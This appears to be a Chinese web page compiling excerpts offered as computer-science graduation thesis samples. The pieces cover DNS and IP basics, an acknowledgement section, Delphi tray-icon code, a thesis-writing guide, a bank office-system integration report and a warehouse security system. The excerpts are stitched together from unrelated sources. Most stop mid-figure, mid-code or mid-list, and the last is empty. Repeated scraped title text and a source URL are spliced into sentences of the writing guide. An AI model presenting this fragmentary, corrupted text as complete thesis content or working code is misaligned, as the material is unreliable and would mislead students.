導言：作為寫作愛好者，不可錯過為您精心挑選的10篇計算機系畢業(yè)論文，它們將為您的寫作提供全新的視角，我們衷心期待您的閱讀，并希望這些內(nèi)容能為您提供靈感和參考。

篇1

當前，在經(jīng)濟全球化和全球信息化大潮中，人們不僅重視信息及其集成的作用，而且更加重視信息使用者對信息集成的反應和運用?；ヂ?lián)網(wǎng)上的域名已為越來越多的人們所關注，因此，了解域名及其對應的IP地址的關系，正確地配置域名服務器，就成為設立網(wǎng)站、使自己在Internet上注冊的域名得到體現(xiàn)的關鍵。

1.IP地址

IP(InternetProtocol)地址就是網(wǎng)絡協(xié)議地址,是分配給網(wǎng)絡節(jié)點的邏輯地址。這些網(wǎng)絡節(jié)點可以是網(wǎng)絡中的任何一臺主機，提供節(jié)點之間的交換信息服務。由于在Internet網(wǎng)絡中存在著大量的節(jié)點,為了能夠在網(wǎng)上找到這個節(jié)點,就必須給予標識。IP地址就是一種標識方法,它獨立于任何特定的網(wǎng)絡硬件和網(wǎng)絡配置,使用TCP/IP協(xié)議的網(wǎng)絡在發(fā)送或接收信息時先把數(shù)據(jù)打包,然后將目標IP地址翻譯成MAC(Medi-umAccessControl)硬件的物理地址,這樣就可以把數(shù)據(jù)包準確地發(fā)送或接收過來。

每個IP地址是由4個字節(jié)共32位組成,每字節(jié)之間使用小數(shù)點分隔,一般用十進制數(shù)字表示。每個IP地址包括兩個標識(ID),即網(wǎng)絡ID和宿主機ID,同一個物理網(wǎng)絡上的所有主機都用同一個網(wǎng)絡ID,而網(wǎng)絡上的每個服務器、路由器、計算機等都有一個主機ID。比如202.98.180.194即是云南省科學技術情報研究所的一個WWW服務器的IP地址。

2.因特網(wǎng)域名及結構

由于IP地址全是數(shù)字代碼，既不直觀又難于記憶，因特網(wǎng)在IP地址的基礎上，提供了一種面向用戶的主機名字，即域名。如istiy(InstituteofScientific&TechnicalInformationofYunnan)為我所(云南省科學技術情報研究所)的英文縮寫。即為我所在因特網(wǎng)上注冊的域名，而(主機名+域名)為我所DNS服務器的主機域名，對應的IP地址就是202.98.180.193。

3.域名解析系統(tǒng)DNS(DomainNameSystem)就是提供域名與IP地址相互映射的網(wǎng)絡服務。事實上，DNS是遍布于全世界的一個分布式數(shù)據(jù)庫。它主要負責控制整個數(shù)據(jù)庫中的部分段，每一段中的數(shù)據(jù)通過客戶/服務模式在整個網(wǎng)絡上均可存取。DNS的數(shù)據(jù)庫結構，同UNIX文件系統(tǒng)（或MSDOS文件系統(tǒng)）的結構很相似，整個數(shù)據(jù)庫（或文件系統(tǒng)）將根放在頂端，畫出來就像一顆倒轉的樹。在DNS中,根的名字以空字符串“”表示，DNS簡單地稱其為“根”（Root）或偶而稱之為“根域”(RootDomain),在UNIX文件系統(tǒng)中,根以反斜杠“/”表示,被稱為“根目錄”。如圖1所示．

圖1在DNS和UNIX文件系統(tǒng)中名稱的讀法

DNS數(shù)據(jù)庫“”

篇2

在這寶貴的兩年的研究生生活中，首先我要感謝我的導師——郭清順老師?！笆谌艘贼~，不如授之以漁”，郭老師正是這樣以言傳身教來教導著我們。

在這里，還要特別感謝我另外一位老師——道焰老師，她雷厲風行的性格、干凈利落的做事風格永遠是我學習的榜樣。無論是在學習上還是在生活，她總給在我最需要的時候給予幫助。

不得不提，王竹立老師，他慈父一樣的關懷曾使我感激不已。他使我懂得，踏踏實實做人，認認真真做事，應付別人就是應付自己。

感謝在研究生學習期間給我諸多教誨和幫助的信息與網(wǎng)絡中心的各位老師，感謝陳鐵老師、蘇順開老師、黃海老師、張汶老師給予我的指導和幫助！

感謝317實驗室的兄弟姐妹，是你們給我?guī)砹藲g樂，是你們讓我知道了什么是手足情深。

感謝我的三位同學——陳頌麗、路昉碩和郭澤平，我們之間的友誼足以使我今生不忘。

感謝我的朋友——淦鑫、馬偉杰、王海洋、賀明威、林諸鳴、甘榮偉，感謝你們在我失意時給我鼓勵，在失落時給我支持，感謝你們和我一路走來，讓我在此過程中倍感溫暖！

相關的論文致謝樣本

·畢業(yè)論文致謝如何寫·課程設計論文致謝詞·博士生論文致謝范例

篇3

unitpro2;

interface

uses

。。。,Menus,shellAPI;//TNotifyIconData是定義在shellAPI單元的

{自定義消息，當小圖標捕捉到鼠標事件時Windows向回調函數(shù)發(fā)送此消息}

constWM_MYTRAYICONCALLBACK=WM_USER+1000;

。。。。

private

MyTrayIcon:TNotifyIconData;

procedureWMMyTrayIconCallBack(VarMsg:TMessage);messageWM_MYTRAYICONCALLBACK;

//托盤消息處理過程

procedureWMCommand(Varmsg:TWMCommand);messageWM_Command;

//處理托盤圖標的右鍵菜單事件

procedureMinimize(varmess:TWMNCLBUTTONDOWN);messageWM_NCLBUTTONDOWN;

//窗體最小化時的消息處理

。。。。。。。。

procedureTForm1.FormCreate(Sender:TObject);

begin

//將程序窗口樣式設為TOOL窗口，避免在任務欄上出現(xiàn)

SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);

end;

procedureTForm1.FormShow(Sender:TObject);

begin

//設置托盤

Icon.Handle:=LoadIcon(Hinstance,''''MAINICON'''');

MyTrayIcon.cbSize:=SizeOf(TNotifyIconData);//nid變量的字節(jié)數(shù)

MyTrayIcon.Wnd:=Handle;//主窗口句柄

MyTrayIcon.uID:=1;//內(nèi)部標識，可設為任意數(shù)

MyTrayIcon.uFlags:=NIF_ICONorNIF_TIPorNIF_MESSAGE;//指明哪些字段有效

MyTrayIcon.uCallBackMessage:=WM_MYTRAYICONCALLBACK;//回調函數(shù)消息，將自定義托盤消息傳遞進去

MyTrayIcon.hIcon:=Application.Icon.Handle;//要加入的圖標句柄，可任意指定

StrCopy(MyTrayIcon.szTip,PChar(Caption));

Shell_NotifyIcon(NIM_ADD,@MyTrayIcon);

ShowWindow(Handle,sw_Hide);

//Visible:=False;//當程序啟動時就最小化在托盤區(qū)即Form.Create時啟用此語句

Application.ShowMainForm:=False;

SetForegroundWindow(Application.Handle);

end;

////消息過程實現(xiàn)

procedureTForm1.WMMyTrayIconCallBack(varMsg:TMessage);

varCursorPos:TPoint;

begin

caseMsg.LParamof

WM_LBUTTONDBLCLK://雙擊消息：彈出主窗口

begin

Visible:=notVisible;

Application.ShowMainForm:=Visible;

SetForegroundWindow(Application.Handle);

end;

WM_RBUTTONDOWN://鼠標右鍵：彈出菜單

begin

GetCursorPos(CursorPos);

{Popupmenu1.Popup(CursorPos.X,CursorPos.Y);

popupmen1里面就可以加入顯示主窗口、退出等功能。這個右鍵菜單可以是靜態(tài)的，如上面一句來彈出；也可以動態(tài)建立，如下面所示的方法：}

pm:=createpopupmenu;//建立一個Hmenu,pm:hmenu;

AppendMenu(pm,0,ord(''''A''''),''''關于....'''');//在指定的菜單里添加一個菜單項

AppendMenu(pm,0,Ord(''''B''''),''''&Exit'''');

//加入菜單事件---》處理WMCOMMAND消息即可

TrackPopupMenu(pm,Tpm_BottomAlignorTpm_RightAlign,CursorPos.x,CursorPos.y,0,handle,nil);

//在圖標上方顯示該彈出式菜單

end;

end;

end;

procedureTForm1.WMCommand(varmsg:TWMCommand);

begin

Casemsg.ItemIDof

Ord(''''A''''):showmessage(''''我的右鍵菜單！'''');

Ord(''''B''''):Self.close;//關閉程序主窗體

elseinherited;

end;

end;

procedureTform1.Minimize(varmess:TWMNCLBUTTONDOWN);//應用程序最小化消息處理

begin

ifMess.Hittest=htReducethen

Self.Hide

elseinherited;

end;

procedureTForm1.FormClose(Sender:TObject;varAction:TCloseAction);

var{程序被關閉時通知Windows去掉小圖標}

nid:TNotifyIconData;

begin

nid.cbSize:=sizeof(nid);//nid變量的字節(jié)數(shù)

nid.uID:=1;//內(nèi)部標識，與加入小圖標時的數(shù)一致

篇4

寫作流程

自考計算機專業(yè)畢業(yè)論文有1年準備時間，寫作時間的分配主要取決于考生軟件開發(fā)的進度，如果考生開發(fā)的軟件很成熟，那末后續(xù)的寫作時間就較快，否則后面的寫作就會很被動。例如，一般會在每年7月份登記，9月底開題，期間開發(fā)軟件，到第二年2、3月就要完成初稿，再留一個月修改。

1、選題。選題首先要重要、有意義。例如有的考生選擇設計木馬程序，其本身是個病毒程序，這樣的程序只能帶來危害，實際生活中沒有意義，就不能用于做畢業(yè)論文。

2、開發(fā)軟件。開發(fā)軟件要與實際相結合。實際性非常重要，要自己能開發(fā)一個能實際運行的軟件。有的考生自己并沒有參與實際工作，只是看書是不行的。自己參與的可以是一個大的項目或課題組，論文中介紹完大的系統(tǒng)后，一定要把自己的工作量寫清楚。

3、寫論文。開發(fā)完就可以寫論文了，論文是個總結，但是不要寫成工作總結，一定要有主題，應體現(xiàn)自己的開發(fā)思想和論述自考本科計算機專業(yè)畢業(yè)論文寫作指南自考本科計算機專業(yè)畢業(yè)論文寫作指南。寫論文要達到一定字數(shù)，一般要3萬字。其中，編程代碼一般為2-3千行，這個不是機器自動生成的代碼，一定是自己寫的源代碼。

論文結構

計算機專業(yè)畢業(yè)論文一般有8個部分。1、概述或引言。這個部分相當于大綱，一般要求4－5千字，主要是對軟件開發(fā)背景，使用的軟件工具、環(huán)境，最后達到的效果，自我在里面的貢獻等；2、需求分析。軟件有哪些功能、模塊，用的什么工具等；3、設計方案和主要技術自考本科計算機專業(yè)畢業(yè)論文寫作指南文章自考本科計算機專業(yè)畢業(yè)論文寫作指南出自http：//gkstk.com/article/wk-78500001321796.html，轉載請保留此鏈接！。主要是對里面每一部分的詳細論述，使用的是什么技術，為什么使用。詳細的模塊分析或遇到的難點是怎樣解決的等；4、具體的實現(xiàn)過程；5、測試。介紹自己開發(fā)軟件實際達到的效果；6、總結。介紹自己開發(fā)軟件的體會，或自己開發(fā)的成果使用情況，有什么評價，自己還有哪些不足，有什么需要改進的地方；7、致謝；8、參考文獻。另外，還可以加一個“附錄”部分。正文只能有一個中心，其他有重要參考價值的都可以放在附錄部分。例如有重要的代碼、圖表，涉及其他領域的知識，需要解釋的等都可以放在附錄部分。

案例1：《家裝工程預算軟件的開放》1、概述；2、需求分析；3、總體設計；4、數(shù)據(jù)庫設計；5、軟件功能的實現(xiàn)；6、結論及改進；7、致謝；8、參考文獻。

案例2：《經(jīng)緯中天無線短信增值服務管理軟件的設計和開放》1、引言；2、需求分析；3、設計方案論證和主要技術介紹；4、系統(tǒng)設計；5、編碼實現(xiàn)；6、實際運行中出現(xiàn)的問題及相應的解決方案；7、結束語；8、致謝；9、參考文獻。

答辯程序

答辯現(xiàn)場會有專業(yè)老師組成的答辯小組，一般為5人左右，學生抽簽分配答辯組。答辯現(xiàn)場要考生做介紹和演示?？忌枰崆皽蕚浠脽羝话悴怀^20張，為論文最核心部分的內(nèi)容自考本科計算機專業(yè)畢業(yè)論文寫作指南論文

WiseMedia

考生結合幻燈片介紹論文，答辯小組老師會根據(jù)考生論文提出問題，考生要實事求是回答，最后答辯小組老師打分，求平均分給出考生論文成績。大部分考生都會達到優(yōu)、良，個別考生沒有通過論文，主要有兩方面原因：1、論文并不是自己真正所做，用別人的軟件為自己所用，老師一提問就能發(fā)現(xiàn)破綻；2、考生論得太簡單，達不到工作量。這就需要考生踏踏實實地按照要求去作論文。

零碎提醒

論文的題目不要太大，一定要具體、實際，不能吹成通用的；

自考生考過全部課程后，最好能尋求實踐機會?？梢匀腹?，真正參與一個項目，一邊工作一邊寫論文；

論文不要上網(wǎng)抄，一定要自己做；

篇5

1引言

在接到開發(fā)中國人民銀行廣西區(qū)分行辦公信息服務系統(tǒng)任務的初期，我們既興奮又迷茫，興奮的是我們有機會從事一項意義重大的工作，迷茫的是在我們以往所進行的系統(tǒng)集成實例中找不到可以借鑒的經(jīng)驗，而且從各種資料上也查不到類似的范例。盡管開始時我們還感到無從下手，但我們還是下決心完成這一艱巨的任務。在整項工程的建設過程中，我們的感覺仿佛是在黑暗中摸索前進，我們制定并否定了一個又一個方案，最后終于找到了一個看起來可行的方案，并勇敢地前進，終于在完成了任務的同時證明了這一方案的可行性。2需求分析

中國人民銀行廣西區(qū)分行辦公信息服務系統(tǒng)建設的目的是為行長和處長們辦公決策提供全面、可靠、快捷的信息服務。這一系統(tǒng)開發(fā)完成后，行長及處長們只需在計算機前就可調閱人行各業(yè)務處的數(shù)據(jù)和報表，并且還能查閱到廣西區(qū)情、廣西國民經(jīng)濟綜合情況、電話號碼、飛機航班、列車時刻、最新文件及重大事件等信息。中國人民銀行辦公信息服務系統(tǒng)不僅要新開發(fā)許多公共信息服務系統(tǒng)，而且最重要的是要在人行廣西區(qū)分行二十多個業(yè)務處現(xiàn)有的和將來中國人民銀行總行配發(fā)的軟件系統(tǒng)基礎上進行，即要求新開發(fā)系統(tǒng)要完全具有人行廣西區(qū)分行原有各業(yè)務系統(tǒng)及將來總行配發(fā)下來的軟件系統(tǒng)功能。根據(jù)項目內(nèi)容，我們可以將需求歸納成兩大類信息服務系統(tǒng)即業(yè)務信息類和公共信息類信息服務系統(tǒng)。

公共信息類信息服務系統(tǒng)包括電話號碼、列車時刻、飛機航班、最新公文及最新動態(tài)、廣西區(qū)情及綜合情況等這些公共的信息查詢系統(tǒng)，這類系統(tǒng)原來中國人民銀行廣西區(qū)分行內(nèi)沒有，因此我們需要開發(fā)這些軟件系統(tǒng)，這一部分方案比較容易確定。業(yè)務信息是指中國人民銀行廣西區(qū)分行各業(yè)務處每日產(chǎn)生的大量數(shù)據(jù)及報表，這些數(shù)據(jù)及報表是各處的業(yè)務軟件系統(tǒng)處理的結果。業(yè)務信息類服務系統(tǒng)不僅要求功能齊全，而且要操作簡單，行長和處長們只需進行簡單的操作即可查閱到各業(yè)務處的數(shù)據(jù)和報表。因為各業(yè)務處的辦公信息服務系統(tǒng)的來源復雜，有的是從中國人民銀行總行各相對獨立的專業(yè)司配發(fā)下來的，有的是中國人民銀行廣西區(qū)分行科技處的同志開發(fā)的，有的是市縣支行同志開發(fā)的。同時這些軟件開發(fā)工具也不一，并多是.EXE文件，因此系統(tǒng)集成難度大，我們需要尋找到一個可行的系統(tǒng)集成方案。

3系統(tǒng)集成方案的制定

本項工程最突出的特點是要在完全利用原有系統(tǒng)的前提下為高層領導開發(fā)一個高水平的軟件系統(tǒng)，因此無論在設計思想上還是在技術上都需要對現(xiàn)有系統(tǒng)集成方法有所突破。為此,我們進行了多種嘗試,先后制定過以下四個方案。

(1)從分析和處理各原業(yè)務系統(tǒng)原始數(shù)據(jù)入手重現(xiàn)各種報表。

(2)截取打印機端口數(shù)據(jù)獲得原業(yè)務系統(tǒng)各種報表，并進行處理。

(3)將原業(yè)務系統(tǒng)數(shù)據(jù)轉換成可被EXCEL.識別的數(shù)據(jù)，用EXCEL來編制和管理報表系統(tǒng)。

(4)直接將原業(yè)務系統(tǒng)集成進我們的系統(tǒng)，利用原業(yè)務系統(tǒng)的查詢功能。

經(jīng)過深入細致的調研和研究分析，我們選定了最后一個方案。直接將原業(yè)務系統(tǒng)集成進我們的系統(tǒng)，利用原業(yè)務系統(tǒng)的查詢功能。

4辦公信息服務系統(tǒng)總體設計方案

在分別確定了網(wǎng)絡系統(tǒng)方案，軟件系統(tǒng)及系統(tǒng)集成方案后，我們設計了系統(tǒng)總體設計方案。具體如下：

1)采用WINDOWSNT網(wǎng)絡結構，服務器為中文WINDOWSNT3.51，工作站采用中文WINDOWS3.2。

2)數(shù)據(jù)庫采用CLIENT/SERVER模式，數(shù)據(jù)庫服務器采用SQLSERVER6.5，LIENT端開發(fā)工具采POWERBUILDER5.0。

3)用POWERBUILDER5.0開發(fā)系統(tǒng)主框架及公共信息子系統(tǒng)。

4)將業(yè)務系統(tǒng)放在工作站硬盤上，讓其在工作站上運行，然后通過網(wǎng)絡來采集和傳送數(shù)據(jù)。

5)將各業(yè)務系統(tǒng)直接集成到辦公信息服務系統(tǒng)中。

6)將所有業(yè)務系統(tǒng)在每臺行長用機硬盤上都安裝一套，行長在本工作站上使用與各業(yè)務處相同的系統(tǒng)，查閱各種業(yè)務數(shù)據(jù)，業(yè)務數(shù)據(jù)通過網(wǎng)絡采集。

7)用直接對鍵盤緩沖區(qū)操作的方法，簡化行長對業(yè)務數(shù)據(jù)的查詢過程。

5系統(tǒng)數(shù)據(jù)流程

公共信息存放在網(wǎng)絡服務器，各工作站都可直接查詢。

從業(yè)務軟件上網(wǎng)，數(shù)據(jù)的安全性及軟件系統(tǒng)的可靠性三方面考慮，中國人民銀行廣西區(qū)分行辦公信息服務系統(tǒng)將業(yè)務軟件系統(tǒng)及所有的業(yè)務查詢系統(tǒng)軟件都放置在工作站硬盤上，業(yè)務數(shù)據(jù)查詢操作也只對工作站硬盤進行。在對業(yè)務數(shù)據(jù)處理方面網(wǎng)絡只承擔數(shù)據(jù)采集及傳遞的任務，業(yè)務數(shù)據(jù)的流程是定期從各業(yè)務處工作站拷貝到網(wǎng)絡上相應目錄，再由行長和處長們將其從網(wǎng)絡上取回到他們自己的工作站。

6需要解決的技術問題

采用這一方案，需要將用POWERBUILDER新開發(fā)出來的系統(tǒng)與原有的WINDOWS環(huán)境上運行的，EXE文件與在DOS下中文環(huán)境UCDOS上運行的.EXE文件及在DOS環(huán)境上foxbase下運行的.PRG文件，或在LOTUS123下運行的軟件集成在一起，并且采用了直接對鍵盤緩沖區(qū)進行操作的技術，因此就面臨著許多諸如內(nèi)存不夠，地址及顯示方式?jīng)_突等錯綜復雜的問題，下面就介紹我們曾遇到的問題及解決問題的方法。

6.1網(wǎng)絡結構

由于各業(yè)務系統(tǒng)原來是在單用戶環(huán)境上開發(fā)的，沒有考慮網(wǎng)絡上運行的特點，因此無法直接上網(wǎng)，為此我們采用非集中式數(shù)據(jù)管理方法，將業(yè)務系統(tǒng)放在工作站硬盤上，讓其在工作站上運行，然后通過網(wǎng)絡來采集和傳送數(shù)據(jù)，這樣就解決了業(yè)務系統(tǒng)多個用戶同時使用，數(shù)據(jù)共享及網(wǎng)絡安全等問題。

6.2系統(tǒng)集成方案

因為中國人民銀行廣西區(qū)分行辦公信息服務系統(tǒng)覆蓋面很大，并要將原有五花八門的系統(tǒng)與新開發(fā)的系統(tǒng)集成在一起，在這些系統(tǒng)中有POWERBUILDER開的發(fā)，有用VISUALFOXPROFORWINDOWS及FOXPROFORWINDOWS開發(fā)的，也有在DOS及UCDOS下用FOXPRO2.5及FOXBASE開發(fā)的，還有在LOTUS123下運行的系統(tǒng)，同時還要考慮直接對鍵盤緩沖區(qū)進行操作時的可靠性，因此系統(tǒng)集成方案是本項目中的關鍵。我們曾經(jīng)制定了兩種方案，第一種方案是系統(tǒng)一開始是運行在DOS環(huán)境上，先進入UCDOS，這樣用戶可正常運行DOS下的業(yè)務系統(tǒng)，當需要運行WINDOWS下的系統(tǒng)時，才退出UCDOS進入WINDOWS，用戶接著可使用WINDOWS下的業(yè)務軟件及公共信息軟件系統(tǒng)。第二種方案是，系統(tǒng)一開始就運行在WINDOWS環(huán)境，用戶可直接運行公共信息系統(tǒng)及WINDOWS環(huán)境下的業(yè)務軟件系統(tǒng)，當用戶需要使用DOS環(huán)境的系統(tǒng)時，再調用WINDOWS下的DOS窗口，進入UCDOS，然后運行業(yè)務軟件系統(tǒng)，運行完后退回WINDOWS。第一種方案比較簡單，但用戶界面不理想，操作步驟及系統(tǒng)反應時間較長。第二方案用戶界面良好，操作管理簡便，但由于系統(tǒng)疊加層次較多，因此需解決內(nèi)存及其它資源限制及沖突等問題。經(jīng)過努力我們成功地按第二方案實施，使得原來五花八門而顯得零亂的多個系統(tǒng)在WINDOWS下集成起來，形成一個有機的整體。6.3鍵盤緩沖區(qū)操作

因為辦公信息服務系統(tǒng)的使用者是人行廣西區(qū)分行的高層領導，因此除了要求界面美觀之外，還特別要求使用簡便。由于我們將各原有系統(tǒng)集成到我們的軟件中，而各原有系統(tǒng)一般功能繁多，并多需要輸入口令等繁瑣的步驟才能進入到領導們所需的查詢功能，因此我們采用預先將這些操作的字符序列自動寫入鍵盤緩沖區(qū)的辦法，將這些步驟“短路”，領導們在調用該業(yè)務系統(tǒng)時就直接進入到查詢功能。

在對DOS環(huán)境下運行的業(yè)務系統(tǒng)，我們采用直接向鍵盤緩沖區(qū)寫入字符序列，以簡化操作的方法。采用這種方法需要掌握寫入的時機，否則及容易造成不可預見性的結果以致死機。由于用戶將要在不同業(yè)務系統(tǒng)中來回選擇，因此鍵盤緩沖區(qū)操作程序在內(nèi)存的駐留方式也是一個需要處理好的問題，否則會出現(xiàn)內(nèi)存管理混亂等問題。經(jīng)過反復嘗試我們找到了解決問題的方案，采用從WINDOWS調用DOS進程及UCDOS之后，調用鍵盤緩沖區(qū)操作程序，將操作序列寫入到鍵盤緩沖區(qū)，然后再調用業(yè)務系統(tǒng)，由系統(tǒng)自動按鍵盤緩沖區(qū)的字符序列進入業(yè)務系統(tǒng)的查詢操作，在退出業(yè)務系統(tǒng)時，由WINDOWS自動清除內(nèi)存中的UCDOS及鍵盤緩沖區(qū)操作程序，使內(nèi)存恢復到調用前原狀。在處理WINDOWS環(huán)境中運行的業(yè)務系統(tǒng)時，我們在進入系統(tǒng)前直接調用鍵盤緩沖區(qū)操作程序，將操作序列寫入到鍵盤緩沖區(qū)，然后調用業(yè)務系統(tǒng)，讓其自動按鍵盤緩沖區(qū)序列進入到其查詢功能。

6.4內(nèi)存優(yōu)化

采用這種集成方案，內(nèi)存將要容納網(wǎng)絡驅動程序，WINDOWS，UCDOS，F(xiàn)OXBASE，業(yè)務系統(tǒng)，DOS解釋程序等，因此常常會遇到內(nèi)存不足的問題，采用優(yōu)化內(nèi)存是解決內(nèi)存不足的一種方法，我們采用DOS的MEMMAKER來優(yōu)化內(nèi)存，以解決基本內(nèi)存不足的問題。

6.5WINDOWS與UCDOS協(xié)調工作

由于系統(tǒng)主框架是運行于WINDOWS環(huán)境，而業(yè)務系統(tǒng)許多是在DOS環(huán)境下UCDOS環(huán)境中運行，這就涉及中文WINDOWS與UCDOS協(xié)調工作的問題，如果先進UCDOS，然后執(zhí)行WINDOWS，則會造成顯示方式?jīng)_突，系統(tǒng)無法使用，反之，先進WINDOWS然后再調用DOS進程，進入UCDOS，則使用順暢，并且在退出DOS進程后，內(nèi)存沒有任何殘留。

6.6解決內(nèi)存不足問題

采用直接集成方案，內(nèi)存將要容納網(wǎng)絡驅動程序、WINDOWS、UCDOS、FOXBASE，業(yè)務系統(tǒng)，DOS解釋程序等，因此常常會遇到內(nèi)存不足的問題，采用優(yōu)化內(nèi)存是解決內(nèi)存不足的一種方法，但只能解決部分基本內(nèi)存不足的問題，在許多情況下仍需采用別的方法。如某處業(yè)務軟件是在FOXBASE下運行的.FOX程序，該.FOX程序調用DOS命令，這樣內(nèi)存中將要容納網(wǎng)絡驅動程序，中文WINDOWS3.2，DOS，UCDOS5.0，鍵盤操作駐留程序，F(xiàn)OXBASE，該.FOX及DOS命令解釋程序，從而造成內(nèi)存不足。為解決這一問題，我們找來了反編譯程序，將.FOX文件反編譯成.PRG文件，然后用FOXPRO2.5，將其編譯成.EXE文件，這樣在調用它時，就無需執(zhí)行FOXBASE，從而解決這種內(nèi)存不足的問題。

7成果

在進行項目開發(fā)的過程中我們曾查閱許多資料，沒有人曾介紹用類似的方案進行系統(tǒng)集成的經(jīng)驗。因此在項目開發(fā)完成前，我們一直擔心，最后的系統(tǒng)會不會是個“四不象”，但我們驚喜地發(fā)現(xiàn)，我們的系統(tǒng)不僅功能強大，性能可靠，而且各部分銜接自然，使用極其方便。這種系統(tǒng)集成方法是一種新穎的方法。為在大型企業(yè)及機構已有的軟件系統(tǒng)基礎上進行系統(tǒng)集成創(chuàng)造了一種巧妙簡截而又成功的解決方案。

9參考文獻

[1]PowerBuilder5.0技術參考手冊(套)北京市曉通網(wǎng)絡數(shù)據(jù)庫研究所

[2]Excel5forwindows大全，海洋出版社

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一、引言

計算機技術、網(wǎng)絡技術、多媒體技術的成熟與發(fā)展，為倉儲管理自動化提供了強有力的技術支持。當前已有的系統(tǒng)其功能一般比較單一。如防盜系統(tǒng)只管防盜；倉儲管理系統(tǒng)只負責倉庫物品的數(shù)據(jù)處理；控制系統(tǒng)只完成簡單的環(huán)境控制功能（如開關門、開關燈、通風等）。將這些功能彼此獨立的系統(tǒng)有機結合起來，組成一個既能完成管理，又能實現(xiàn)實時監(jiān)控的一體化自動管理系統(tǒng)具有重要的意義。我們所設計的這套倉庫安全管理綜合信息系統(tǒng)，是把門禁系統(tǒng)（IC卡開門）、環(huán)境監(jiān)控系統(tǒng)、財務管理系統(tǒng)、合同管理系統(tǒng)、報警控制系統(tǒng)和數(shù)據(jù)處理系統(tǒng)結合在一起，充分利用了先進的計算機技術和控制手段。它既能通過音頻、視頻以及紅外線、雷達、震動等傳感器實時監(jiān)控對所有分庫的開門、取物、檢修等操作，又能對防區(qū)內(nèi)的警報信號立即處理或自動上報；它還是一個倉庫的數(shù)據(jù)中心，能完成人員、倉儲信息處理以及自動報時、鳴號、熄燈、開關高壓電網(wǎng)、布撤防等控制。另外，該系統(tǒng)還與財務管理系統(tǒng)、合同管理系統(tǒng)集成在一起構成一個安全、主動和綜合的倉庫管理系統(tǒng)。

二、系統(tǒng)的基本要求

目前的倉庫管理系統(tǒng)一般技術比較落后、性能較差且很不完備，有的甚至沒有安全防盜功能。即使有安全防盜功能其性能一般也不太理想，人工干涉多，操作使用不方便，有的還故障率高而不實用。隨著社會信息交流的日益加強和信息量的集聚增加，再加上盜竊活動的團伙化、智能化和高技術化等特點，倉儲管理部門越來越需要一套低成本、高性能、方便使用、功能完善的綜合倉庫監(jiān)控管理系統(tǒng)。要求它具有立即捕捉警情并提供警情發(fā)生地的有關信息（如地圖、位置、類型、程度、平面圖、地形圖、結構圖以及警情發(fā)生地的倉儲情況等），計算機系統(tǒng)馬上對警情做出反應，迅速通知值班人員和倉庫管理員（通過聲光等信號形式），可能的話還可立即對警情發(fā)生地實施控制（如接通高壓電網(wǎng)、自動封閉門窗、拉響警笛、打開探照燈等）。對重要的警情要立即通過計算機網(wǎng)絡或內(nèi)部電話自動交換網(wǎng)上報上級主管部門。特別是要求系統(tǒng)能完整記錄從發(fā)生警情到上報，進而做出處理的全過程，以便于事后分析處理。

倉庫大門的鑰匙管理和開門方法應采用較科學的電子識別手段（如磁卡、IC卡）進行控制，倉庫內(nèi)外的溫度和濕度用溫濕度傳感器自動測量和記錄。發(fā)現(xiàn)越限時報警通知管理員，以便于管理員及時采取通風降溫和除濕等方法，確保倉儲物品的安全。除此之外，系統(tǒng)還可以對倉儲物品的出入庫、物品訂購合同、財務信息以及人員信息等內(nèi)容進行統(tǒng)一的管理，以提高辦公自動化的程度。

三、系統(tǒng)功能描述

1.定時自動測量和記錄濕度和溫度，并能夠觸發(fā)越界報警；

2.可掛接多種類型的防區(qū)，每個防區(qū)可以是震動、雷達、紅外線等類型的一種；

3.系統(tǒng)對每個警情立即反應，指出地點、位置等，給出警情所在地的結構圖，并能自動啟動警號、燈光等報警設備，必要時可立即自動撥號上報上級主管部門；

4.雙IC卡開門，并自動記錄開門時間，持卡者身份等信息；

5.對鑰匙統(tǒng)一管理，記錄取鑰匙的時間，人員等信息；

6.可以進行人員管理、倉儲管理、財務管理、合同管理等內(nèi)容；

7.自動記錄管理員交接班日志，對倉庫的操作也均有記錄；

8.可根據(jù)綜合條件檢索歷史記錄，并可打印輸出。

9.對人員的情況、密碼（管理員）、防區(qū)所接傳感器參數(shù)均可隨時更新。

綜上所述，系統(tǒng)所完成的功能是比較全面的。其中以處理警情的優(yōu)先級最高，一旦發(fā)生警報，應立即停止其它事務性處理工作，轉為響應處理警報。由于這種系統(tǒng)具有一定的技術先進性、新穎性和實用性，可以對倉儲信息進行有效的安全管理。

四、系統(tǒng)的設計結構

系統(tǒng)實現(xiàn)采用結構化和面向對象的設計技術，硬件結合了單板機廉價、穩(wěn)定的優(yōu)點和PC機大容量、高速度、界面友好的特點，將整個系統(tǒng)分成功能相對獨立的若干子模塊，使系統(tǒng)結構層次分明，結構嚴謹，極易于維護和使用。由于系統(tǒng)采用結構化設計，自頂向下逐步分解精化而成，由多個模塊組成，因此可按散件組裝法則根據(jù)現(xiàn)場實際需求，靈活取舍組合系統(tǒng)各組成部件。對于一些特殊要求也可以采用模塊化形式方便地實現(xiàn)其功能的擴展，從而形成由低成本、簡單功能到高投入、復雜功能不同層次的系列產(chǎn)品，但無論怎樣組合均不會降低系統(tǒng)整體性能。系統(tǒng)的邏輯功能結構如圖1所示。

圖1系統(tǒng)功能邏輯結構圖(圖略)

五、操作使用簡介

系統(tǒng)運行于WINDOWS環(huán)境，其界面同時具有字符、圖形、動畫、菜單命令等各種輸入輸出格式，友好且直觀形象，再加上采用了WINDOWS所特有的聯(lián)機提示和后援幫助作輔助手段，使系統(tǒng)的使用簡單易學，非常便于普及推廣。整個操作可分為四大部分：

1.利用按鈕完成各種控制功能；

2.圖形操作界面，利用鼠標代替鍵盤輸入，快速直觀，一學就會；

3.對記錄的數(shù)據(jù)進行綜合條件的檢索，查詢并打印輸出，可用鼠標選擇查詢條件；

篇7

